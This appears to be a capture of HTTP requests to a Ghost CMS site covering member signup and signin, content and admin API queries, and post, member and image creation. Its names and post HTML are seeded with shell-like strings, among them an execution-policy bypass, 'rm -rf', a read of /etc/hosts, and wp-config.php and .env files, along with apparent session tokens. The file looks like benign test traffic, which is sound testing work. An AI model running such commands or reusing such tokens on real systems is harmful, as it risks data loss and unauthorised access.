{"method": "GET", "target": "/ghost/api/content/search-index/tags/?key=f05b55ba0179bcfc8cc94a1279", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/content/images/size/w160/format/webp/2026/11/feature.png", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/members/api/integrity-token/", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "POST", "target": "/members/api/send-magic-link/", "headers": ["Host: example.com", "Content-Length: 464", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Type: application/json", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate"], "body": "{\"name\":\"Dave powershell Example\",\"email\":\"dave.powershell@example.com\",\"emailType\":\"signup\",\"requestSrc\":\"portal\",\"integrityToken\":\"1794400683018:3bf73f369096c9f6add1f9b1ae98cb46:e7f23a7052ff063a7be3d6314e7d0024886ddb7efa32b9fa0005958b0eabdab6\",\"autoRedirect\":true,\"urlHistory\":[{\"path\":\"/\",\"time\":1794400377687,\"referrerSource\":null,\"referrerMedium\":null,\"utmSource\":null,\"utmMedium\":null,\"utmCampaign\":null,\"utmTerm\":null,\"utmContent\":null,\"referrerUrl\":null}]}"}
|
|
||||||
{"method": "GET", "target": "/members/?token=8ZPiTGbu73ReLyvRl98jURWkKkfRA_i1&action=signup&r=http%3A%2F%2Fexample.com%2F", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/?action=signup&success=true", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: ghost-members-ssr=a3f10aa3-c102-45e9-bc32-187114f0c9f5; ghost-members-ssr.sig=vJWaU4QTdvQ_e3jXTmO3YrgkDis"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/members/api/member/metafields/custom/", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/?action=signup&success=true", "Accept-Encoding: gzip, deflate", "Cookie: ghost-members-ssr=a3f10aa3-c102-45e9-bc32-187114f0c9f5; ghost-members-ssr.sig=vJWaU4QTdvQ_e3jXTmO3YrgkDis"], "body": ""}
|
|
||||||
{"method": "PUT", "target": "/members/api/member/", "headers": ["Host: example.com", "Content-Length: 36", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Type: application/json", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-members-ssr=a3f10aa3-c102-45e9-bc32-187114f0c9f5; ghost-members-ssr.sig=vJWaU4QTdvQ_e3jXTmO3YrgkDis"], "body": "{\"name\":\"Dave python3 & powershell\"}"}
|
|
||||||
{"method": "PUT", "target": "/members/api/member/", "headers": ["Host: example.com", "Content-Length: 18", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Type: application/json", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-members-ssr=a3f10aa3-c102-45e9-bc32-187114f0c9f5; ghost-members-ssr.sig=vJWaU4QTdvQ_e3jXTmO3YrgkDis"], "body": "{\"newsletters\":[]}"}
|
|
||||||
{"method": "PUT", "target": "/members/api/member/", "headers": ["Host: example.com", "Content-Length: 51", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Type: application/json", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-members-ssr=a3f10aa3-c102-45e9-bc32-187114f0c9f5; ghost-members-ssr.sig=vJWaU4QTdvQ_e3jXTmO3YrgkDis"], "body": "{\"newsletters\":[{\"id\":\"6af45710d281b00001a598a1\"}]}"}
|
|
||||||
{"method": "DELETE", "target": "/members/api/session/", "headers": ["Host: example.com", "Content-Length: 13", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Type: application/json", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-members-ssr=a3f10aa3-c102-45e9-bc32-187114f0c9f5; ghost-members-ssr.sig=vJWaU4QTdvQ_e3jXTmO3YrgkDis"], "body": "{\"all\":false}"}
|
|
||||||
{"method": "POST", "target": "/members/api/send-magic-link/", "headers": ["Host: example.com", "Content-Length: 466", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Type: application/json", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate"], "body": "{\"email\":\"dave.powershell@example.com\",\"emailType\":\"signin\",\"requestSrc\":\"portal\",\"integrityToken\":\"1794400800145:c04601f2fbf42eff0912f44306da4981:870fcacdfa42692d37f5a9444cc59480475d58048e44a25969a181864ab30e35\",\"autoRedirect\":true,\"includeOTC\":true,\"urlHistory\":[{\"path\":\"/\",\"time\":1794400493093,\"referrerSource\":null,\"referrerMedium\":null,\"utmSource\":null,\"utmMedium\":null,\"utmCampaign\":null,\"utmTerm\":null,\"utmContent\":null,\"referrerUrl\":\"http://example.com/\"}]}"}
|
|
||||||
{"method": "POST", "target": "/members/api/verify-otc/", "headers": ["Host: example.com", "Content-Length: 195", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Type: application/json", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate"], "body": "{\"otc\":\"155759\",\"otcRef\":\"2346ad44-bc1b-447b-9e30-a506b9bfc8a7\",\"integrityToken\":\"1794400804868:c351ef2d02347ac40394984518784966:d7097253ef160994428604e069f539148a4cab1e4d8950512ab9a194f15ebd8a\"}"}
|
|
||||||
{"method": "GET", "target": "/members/?token=bKAQ1DVEaORlazdXjSVaDL2EZHkjardV&action=signin&r=http%3A%2F%2Fexample.com%2F&otc_verification=1794400504%3A930857376b132f4aceb9983d3d6de1dc12971c6917638fb1aebb2259bef62a1c", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/?action=signin&success=true", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-members-ssr=a3f10aa3-c102-45e9-bc32-187114f0c9f5; ghost-members-ssr.sig=vJWaU4QTdvQ_e3jXTmO3YrgkDis"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/api/content/posts/?key=c695aa1f5cdfa62f7b677c3c83&filter=tag%3apython3&include=tags%2cauthors&limit=5", "headers": ["Host: example.com", "User-Agent: curl/8.11.1", "Accept: */*"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/api/content/posts/?key=c695aa1f5cdfa62f7b677c3c83&filter=tag%3apowershell&include=tags%2cauthors&limit=5", "headers": ["Host: example.com", "User-Agent: curl/8.11.1", "Accept: */*"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/api/content/posts/?key=c695aa1f5cdfa62f7b677c3c83&filter=tag%3alinux-ls-la&include=tags%2cauthors&limit=5", "headers": ["Host: example.com", "User-Agent: curl/8.11.1", "Accept: */*"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/api/content/posts/?key=c695aa1f5cdfa62f7b677c3c83&filter=tags%3a%5bpython3%2cpowershell%5d&include=tags%2cauthors&limit=5", "headers": ["Host: example.com", "User-Agent: curl/8.11.1", "Accept: */*"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/api/content/posts/?key=c695aa1f5cdfa62f7b677c3c83&filter=primary_tag%3ashell-tips-htaccess&include=tags%2cauthors&limit=5", "headers": ["Host: example.com", "User-Agent: curl/8.11.1", "Accept: */*"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/api/content/posts/?key=c695aa1f5cdfa62f7b677c3c83&filter=title%3a~%27ls+-la%27&include=tags%2cauthors&limit=5", "headers": ["Host: example.com", "User-Agent: curl/8.11.1", "Accept: */*"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/api/content/posts/?key=c695aa1f5cdfa62f7b677c3c83&filter=title%3a~%27.htaccess%27&include=tags%2cauthors&limit=5", "headers": ["Host: example.com", "User-Agent: curl/8.11.1", "Accept: */*"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/api/content/posts/?key=c695aa1f5cdfa62f7b677c3c83&filter=featured%3atrue%2btag%3apowershell&include=tags%2cauthors&limit=5", "headers": ["Host: example.com", "User-Agent: curl/8.11.1", "Accept: */*"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/api/content/posts/?key=c695aa1f5cdfa62f7b677c3c83&filter=slug%3ausing-python3-and-ls-la-to-tidy-htaccess-files-2&include=tags%2cauthors&limit=5", "headers": ["Host: example.com", "User-Agent: curl/8.11.1", "Accept: */*"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/api/content/posts/?key=c695aa1f5cdfa62f7b677c3c83&filter=published_at%3a%3e%272026-01-01%27%2btag%3a%5bpython3%2cnews%5d&include=tags%2cauthors&limit=5", "headers": ["Host: example.com", "User-Agent: curl/8.11.1", "Accept: */*"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/api/content/posts/?key=c695aa1f5cdfa62f7b677c3c83&fields=title%2cslug%2curl%2cexcerpt&order=published_at+desc&formats=html%2cplaintext&limit=all", "headers": ["Host: example.com", "User-Agent: curl/8.11.1", "Accept: */*"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/api/content/posts/slug/using-python3-and-ls-la-to-tidy-htaccess-files-2/?key=c695aa1f5cdfa62f7b677c3c83&include=tags%2cauthors", "headers": ["Host: example.com", "User-Agent: curl/8.11.1", "Accept: */*"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/api/content/tags/slug/python3/?key=c695aa1f5cdfa62f7b677c3c83&include=count.posts", "headers": ["Host: example.com", "User-Agent: curl/8.11.1", "Accept: */*"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/api/content/tags/slug/powershell/?key=c695aa1f5cdfa62f7b677c3c83&include=count.posts", "headers": ["Host: example.com", "User-Agent: curl/8.11.1", "Accept: */*"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/api/content/tags/slug/linux-ls-la/?key=c695aa1f5cdfa62f7b677c3c83&include=count.posts", "headers": ["Host: example.com", "User-Agent: curl/8.11.1", "Accept: */*"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/api/content/tags/?key=c695aa1f5cdfa62f7b677c3c83&filter=name%3a~%27python3%27&limit=all", "headers": ["Host: example.com", "User-Agent: curl/8.11.1", "Accept: */*"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/api/content/tags/?key=c695aa1f5cdfa62f7b677c3c83&filter=name%3a~%27.htaccess%27&limit=all", "headers": ["Host: example.com", "User-Agent: curl/8.11.1", "Accept: */*"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/api/content/tags/?key=c695aa1f5cdfa62f7b677c3c83&filter=name%3a~%27ls+-la%27&limit=all", "headers": ["Host: example.com", "User-Agent: curl/8.11.1", "Accept: */*"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/api/content/tags/?key=c695aa1f5cdfa62f7b677c3c83&filter=slug%3a%5bpython3%2cpowershell%5d&limit=all", "headers": ["Host: example.com", "User-Agent: curl/8.11.1", "Accept: */*"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/api/content/tags/?key=c695aa1f5cdfa62f7b677c3c83&filter=visibility%3apublic&limit=all", "headers": ["Host: example.com", "User-Agent: curl/8.11.1", "Accept: */*"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/api/content/pages/?key=c695aa1f5cdfa62f7b677c3c83&filter=title%3a~%27powershell%27", "headers": ["Host: example.com", "User-Agent: curl/8.11.1", "Accept: */*"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/api/content/pages/slug/about-python3-powershell-htaccess/?key=c695aa1f5cdfa62f7b677c3c83", "headers": ["Host: example.com", "User-Agent: curl/8.11.1", "Accept: */*"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/api/content/authors/slug/alice/?key=c695aa1f5cdfa62f7b677c3c83&include=count.posts", "headers": ["Host: example.com", "User-Agent: curl/8.11.1", "Accept: */*"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/api/content/authors/?key=c695aa1f5cdfa62f7b677c3c83&filter=name%3a~%27Alice%27", "headers": ["Host: example.com", "User-Agent: curl/8.11.1", "Accept: */*"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/api/content/settings/?key=c695aa1f5cdfa62f7b677c3c83", "headers": ["Host: example.com", "User-Agent: curl/8.11.1", "Accept: */*"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/api/content/tiers/?key=c695aa1f5cdfa62f7b677c3c83&include=monthly_price%2cyearly_price", "headers": ["Host: example.com", "User-Agent: curl/8.11.1", "Accept: */*"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/api/admin/posts/?filter=tag%3apowershell&limit=5", "headers": ["Host: example.com", "User-Agent: curl/8.11.1", "Accept: */*", "Authorization: Ghost eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCIsImtpZCI6IjZhZjQ1Y2VjZDI4MWIwMDAwMWE1OTk5YiJ9.eyJpYXQiOjE3OTQ0MDA1NTksImV4cCI6MTc5NDQwMDg1OSwiYXVkIjoiL2FkbWluLyJ9.-ZxF-NHaDF6qL14m2AvJlABfQMH6mduB4HhxlmUzs9I", "Accept-Version: v6.76"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/api/admin/posts/?filter=tag%3apython3%2bstatus%3apublished&limit=5", "headers": ["Host: example.com", "User-Agent: curl/8.11.1", "Accept: */*", "Authorization: Ghost eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCIsImtpZCI6IjZhZjQ1Y2VjZDI4MWIwMDAwMWE1OTk5YiJ9.eyJpYXQiOjE3OTQ0MDA1NTksImV4cCI6MTc5NDQwMDg1OSwiYXVkIjoiL2FkbWluLyJ9.-ZxF-NHaDF6qL14m2AvJlABfQMH6mduB4HhxlmUzs9I", "Accept-Version: v6.76"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/api/admin/posts/?filter=title%3a~%27ls+-la%27&limit=5", "headers": ["Host: example.com", "User-Agent: curl/8.11.1", "Accept: */*", "Authorization: Ghost eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCIsImtpZCI6IjZhZjQ1Y2VjZDI4MWIwMDAwMWE1OTk5YiJ9.eyJpYXQiOjE3OTQ0MDA1NTksImV4cCI6MTc5NDQwMDg1OSwiYXVkIjoiL2FkbWluLyJ9.-ZxF-NHaDF6qL14m2AvJlABfQMH6mduB4HhxlmUzs9I", "Accept-Version: v6.76"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/api/admin/posts/?filter=tags.name%3a~%27.htaccess%27&limit=5", "headers": ["Host: example.com", "User-Agent: curl/8.11.1", "Accept: */*", "Authorization: Ghost eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCIsImtpZCI6IjZhZjQ1Y2VjZDI4MWIwMDAwMWE1OTk5YiJ9.eyJpYXQiOjE3OTQ0MDA1NTksImV4cCI6MTc5NDQwMDg1OSwiYXVkIjoiL2FkbWluLyJ9.-ZxF-NHaDF6qL14m2AvJlABfQMH6mduB4HhxlmUzs9I", "Accept-Version: v6.76"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/api/admin/members/?search=python3&limit=15", "headers": ["Host: example.com", "User-Agent: curl/8.11.1", "Accept: */*", "Authorization: Ghost eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCIsImtpZCI6IjZhZjQ1Y2VjZDI4MWIwMDAwMWE1OTk5YiJ9.eyJpYXQiOjE3OTQ0MDA1NTksImV4cCI6MTc5NDQwMDg1OSwiYXVkIjoiL2FkbWluLyJ9.-ZxF-NHaDF6qL14m2AvJlABfQMH6mduB4HhxlmUzs9I", "Accept-Version: v6.76"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/api/admin/members/?search=powershell&limit=15", "headers": ["Host: example.com", "User-Agent: curl/8.11.1", "Accept: */*", "Authorization: Ghost eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCIsImtpZCI6IjZhZjQ1Y2VjZDI4MWIwMDAwMWE1OTk5YiJ9.eyJpYXQiOjE3OTQ0MDA1NTksImV4cCI6MTc5NDQwMDg1OSwiYXVkIjoiL2FkbWluLyJ9.-ZxF-NHaDF6qL14m2AvJlABfQMH6mduB4HhxlmUzs9I", "Accept-Version: v6.76"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/api/admin/members/?search=ls+-la&limit=15", "headers": ["Host: example.com", "User-Agent: curl/8.11.1", "Accept: */*", "Authorization: Ghost eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCIsImtpZCI6IjZhZjQ1Y2VjZDI4MWIwMDAwMWE1OTk5YiJ9.eyJpYXQiOjE3OTQ0MDA1NTksImV4cCI6MTc5NDQwMDg1OSwiYXVkIjoiL2FkbWluLyJ9.-ZxF-NHaDF6qL14m2AvJlABfQMH6mduB4HhxlmUzs9I", "Accept-Version: v6.76"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/api/admin/members/?search=.htaccess&limit=15", "headers": ["Host: example.com", "User-Agent: curl/8.11.1", "Accept: */*", "Authorization: Ghost eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCIsImtpZCI6IjZhZjQ1Y2VjZDI4MWIwMDAwMWE1OTk5YiJ9.eyJpYXQiOjE3OTQ0MDA1NTksImV4cCI6MTc5NDQwMDg1OSwiYXVkIjoiL2FkbWluLyJ9.-ZxF-NHaDF6qL14m2AvJlABfQMH6mduB4HhxlmUzs9I", "Accept-Version: v6.76"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/api/admin/members/?search=carol&limit=15", "headers": ["Host: example.com", "User-Agent: curl/8.11.1", "Accept: */*", "Authorization: Ghost eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCIsImtpZCI6IjZhZjQ1Y2VjZDI4MWIwMDAwMWE1OTk5YiJ9.eyJpYXQiOjE3OTQ0MDA1NTksImV4cCI6MTc5NDQwMDg1OSwiYXVkIjoiL2FkbWluLyJ9.-ZxF-NHaDF6qL14m2AvJlABfQMH6mduB4HhxlmUzs9I", "Accept-Version: v6.76"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/api/admin/members/?filter=label%3apowershell-users&include=labels", "headers": ["Host: example.com", "User-Agent: curl/8.11.1", "Accept: */*", "Authorization: Ghost eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCIsImtpZCI6IjZhZjQ1Y2VjZDI4MWIwMDAwMWE1OTk5YiJ9.eyJpYXQiOjE3OTQ0MDA1NTksImV4cCI6MTc5NDQwMDg1OSwiYXVkIjoiL2FkbWluLyJ9.-ZxF-NHaDF6qL14m2AvJlABfQMH6mduB4HhxlmUzs9I", "Accept-Version: v6.76"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/api/admin/tags/?filter=name%3a~%27ls+-la%27&limit=all", "headers": ["Host: example.com", "User-Agent: curl/8.11.1", "Accept: */*", "Authorization: Ghost eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCIsImtpZCI6IjZhZjQ1Y2VjZDI4MWIwMDAwMWE1OTk5YiJ9.eyJpYXQiOjE3OTQ0MDA1NTksImV4cCI6MTc5NDQwMDg1OSwiYXVkIjoiL2FkbWluLyJ9.-ZxF-NHaDF6qL14m2AvJlABfQMH6mduB4HhxlmUzs9I", "Accept-Version: v6.76"], "body": ""}
|
|
||||||
{"method": "POST", "target": "/ghost/api/admin/posts/?source=html", "headers": ["Host: example.com", "User-Agent: curl/8.11.1", "Accept: */*", "Authorization: Ghost eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCIsImtpZCI6IjZhZjQ1Y2VjZDI4MWIwMDAwMWE1OTk5YiJ9.eyJpYXQiOjE3OTQ0MDA1NTksImV4cCI6MTc5NDQwMDg1OSwiYXVkIjoiL2FkbWluLyJ9.-ZxF-NHaDF6qL14m2AvJlABfQMH6mduB4HhxlmUzs9I", "Accept-Version: v6.76", "Content-Type: application/json", "Content-Length: 1702"], "body": "{\"posts\": [{\"title\": \"Automating .htaccess checks with python3\", \"html\": \"<h2>Getting started</h2>\\n<p>Run <code>ls -la</code> in your web root, then open <a href=\\\"https://example.com/docs/htaccess\\\">the .htaccess guide</a>. On Windows, use <strong>powershell</strong> instead; it's the same idea.</p>\\n<h3>A small script</h3>\\n<pre><code class=\\\"language-python\\\">#!/usr/bin/env python3\\nimport os, subprocess\\nfor name in sorted(os.listdir(\\\".\\\")):\\n print(name)\\nsubprocess.run([\\\"ls\\\", \\\"-la\\\", \\\"/var/www/html\\\"], check=True)\\n</code></pre>\\n<pre><code class=\\\"language-bash\\\">cat /etc/hosts | grep example\\nls -la /var/www/html/.htaccess && chmod 644 .htaccess\\nmysql -e \\\"SELECT id, title FROM posts WHERE status = 'published' ORDER BY id DESC LIMIT 5;\\\"\\n</code></pre>\\n<pre><code class=\\\"language-javascript\\\">document.querySelectorAll('a').forEach((a) => console.log(a.href));\\nwindow.onload = () => alert('ready');\\n</code></pre>\\n<blockquote>\\\"Keep your .htaccess small,\\\" said one reader -- and python3 agrees.</blockquote>\\n<ul><li>python3 -m venv .venv && source .venv/bin/activate</li><li>powershell -ExecutionPolicy Bypass -File build.ps1</li><li>Edit /etc/nginx/sites-available/default, then reload</li></ul>\\n<ol><li>Back up wp-config.php and .env</li><li>Run <code>rm -rf ./cache/*</code></li></ol>\\n<p>Questions? Email <a href=\\\"mailto:help@example.com\\\">help@example.com</a> or see <a href=\\\"https://example.com/search?q=htaccess&lang=en\\\">the search page</a>.</p>\", \"status\": \"published\", \"tags\": [\"python3\", \"PowerShell\"], \"custom_excerpt\": \"Run ls -la from python3 or powershell.\", \"feature_image\": \"http://example.com/content/images/2026/11/photo.png\"}]}"}
|
|
||||||
{"method": "POST", "target": "/ghost/api/admin/members/", "headers": ["Host: example.com", "User-Agent: curl/8.11.1", "Accept: */*", "Authorization: Ghost eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCIsImtpZCI6IjZhZjQ1Y2VjZDI4MWIwMDAwMWE1OTk5YiJ9.eyJpYXQiOjE3OTQ0MDA1NTksImV4cCI6MTc5NDQwMDg1OSwiYXVkIjoiL2FkbWluLyJ9.-ZxF-NHaDF6qL14m2AvJlABfQMH6mduB4HhxlmUzs9I", "Accept-Version: v6.76", "Content-Type: application/json", "Content-Length: 175"], "body": "{\"members\": [{\"email\": \"erin.htaccess@example.com\", \"name\": \"Erin python3 Example\", \"note\": \"Imported from powershell export\", \"labels\": [\"powershell users\", \"ls -la fans\"]}]}"}
|
|
||||||
{"method": "POST", "target": "/ghost/api/admin/images/upload/", "headers": ["Host: example.com", "User-Agent: curl/8.11.1", "Accept: */*", "Authorization: Ghost eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCIsImtpZCI6IjZhZjQ1Y2VjZDI4MWIwMDAwMWE1OTk5YiJ9.eyJpYXQiOjE3OTQ0MDA1NTksImV4cCI6MTc5NDQwMDg1OSwiYXVkIjoiL2FkbWluLyJ9.-ZxF-NHaDF6qL14m2AvJlABfQMH6mduB4HhxlmUzs9I", "Accept-Version: v6.76", "Content-Length: 569", "Content-Type: multipart/form-data; boundary=------------------------gySlLRiEsdL70cXx8zmsOZ"], "body": "--------------------------gySlLRiEsdL70cXx8zmsOZ\r\nContent-Disposition: form-data; name=\"file\"; filename=\"photo.png\"\r\nContent-Type: image/png\r\n\r\niVBORw0KGgoAAAANSUhEUgAAAEAAAAAwCAIAAAAuKetIAAAAZElEQVR4nO3PUQkAIBTAwBfHiEY0liH8OITBAtxm7fN1wwUNaEEDWtCAFjSgBQ1oQQNa0IAWNKAFDWhBA1rQgBY0oAUNaEEDWtCAFjSgBQ1oQQNa0IAWNKAFDWhBA1rQgBY8dgGIweDx+vacjQAAAABJRU5ErkJggg==\r\n--------------------------gySlLRiEsdL70cXx8zmsOZ\r\nContent-Disposition: form-data; name=\"purpose\"\r\n\r\nimage\r\n--------------------------gySlLRiEsdL70cXx8zmsOZ\r\nContent-Disposition: form-data; name=\"ref\"\r\n\r\nphoto.png\r\n--------------------------gySlLRiEsdL70cXx8zmsOZ--\r\n"}
|
|
||||||
{"method": "POST", "target": "/ghost/api/admin/stats/posts-member-counts/", "headers": ["Host: example.com", "Content-Length: 94", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": "{\"postIds\":[\"6af46132d281b00001a599c1\",\"6af458a5d281b00001a59969\",\"6af45710d281b00001a598a4\"]}"}
|
|
||||||
{"method": "GET", "target": "/ghost/api/admin/oembed/?url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3Daqz-KE-bpKQ&type=embed", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/api/admin/oembed/?url=https%3A%2F%2Fexample.com%2Fdocs%2Fpython3%2Fls-la-and-htaccess%2F&type=bookmark", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
|
||||||
